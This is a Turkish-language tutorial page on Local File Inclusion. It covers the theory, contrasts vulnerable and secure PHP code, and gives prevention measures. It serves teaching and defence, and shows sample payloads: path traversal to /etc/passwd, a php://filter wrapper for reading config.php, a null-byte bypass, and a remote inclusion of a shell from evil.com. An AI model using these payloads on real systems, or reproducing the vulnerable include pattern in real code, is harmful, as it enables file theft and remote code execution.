📚 LFI Öğren & Ustalaş
Teori, bypass teknikleri, gerçek dünya örnekleri ve koruma stratejilerini kapsayan kapsamlı rehber
Local File Inclusion (LFI) Nedir?
Local File Inclusion (LFI), saldırganların yerel dosya sisteminden dosyaları dahil etmesine ve çalıştırmasına izin veren bir zafiyettir. Bu, uygulamaların kullanıcı girdisine dayalı olarak dosyaları dinamik olarak dahil ettiğinde, uygun doğrulama olmadan ortaya çıkar ve potansiyel olarak hassas verileri açığa çıkarır veya uzaktan kod çalıştırmayı mümkün kılar.
Nasıl Çalışır
Bir uygulama, doğrulama olmadan kullanıcı girdisine dayalı olarak dosyaları dahil ettiğinde, saldırganlar yolu manipüle ederek rastgele dosyalara erişebilir. Yaygın hedefler arasında /etc/passwd, yapılandırma dosyaları, log dosyaları ve hatta log poisoning veya PHP wrapper'lar yoluyla RCE elde etme bulunur.
❌ Güvensiz Kod
// Vulnerable PHP code
<?php
$page = $_GET['page'];
include("/var/www/pages/" . $page);
?>
// Attacker payload:
// ?page=../../../../etc/passwd
// ?page=php://filter/convert.base64-encode/resource=config.php✅ Güvenli Kod
// Secure PHP code
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';
if (in_array($page, $allowed)) {
include("/var/www/pages/{$page}.php");
} else {
include("/var/www/pages/error.php");
}
?>Dosya Dahil Etme Türleri
📁 Temel LFI
Herhangi bir filtreleme veya koruma olmadan basit dosya dahil etme
?file=/etc/passwd🔀 Dizin Gezinme
Web kökü dışındaki dosyalara erişmek için yol gezinme dizileri kullanma
?file=../../etc/passwd🔓 Null Byte Enjeksiyonu
Null byte'lar kullanarak dosya uzantısı kısıtlamalarını atlama
?file=../../etc/passwd%00🌐 Uzak Dosya Dahil Etme
Uzak sunuculardan dosya dahil etme
?file=http://evil.com/shell.txtNe Olabilir?
- 🔴Hassas Veri İfşası: /etc/passwd, veritabanı yapılandırmaları, API anahtarları ve kimlik bilgilerine erişim
- 🟠Kaynak Kod İfşası: Uygulama kaynak kodunu okuma, iş mantığını ve ek zafiyetleri ortaya çıkarma
- 🟡Uzaktan Kod Çalıştırma: Log poisoning, PHP wrapper'lar veya session dosyası manipülasyonu yoluyla
- 🔴Tam Sistem Ele Geçirme: RCE ve yetki yükseltme yoluyla sunucunun tamamen ele geçirilmesi
LFI Nasıl Önlenir
- ✓İzin Listeleri Kullan: Sadece izin verilen dosya adlarını/yollarını beyaz listeye al, asla engelleme listelerine güvenme
- ✓Girdi Doğrulama: Tüm kullanıcı girdilerini sanitize et ve doğrula, path traversal dizilerini reddet
- ✓realpath() Kullan: Gerçek yolu çöz ve izin verilen dizin içinde olduğunu doğrula
- ✓PHP Fonksiyonlarını Devre Dışı Bırak: allow_url_include=Off yap, URL'lerde file_get_contents'i devre dışı bırak
- ✓En Az Yetki İlkesi: Web sunucusunu minimum dosya sistemi izinleriyle çalıştır
- ✓İzleme & Loglama: Dosya erişim denemelerini logla, şüpheli kalıpları izle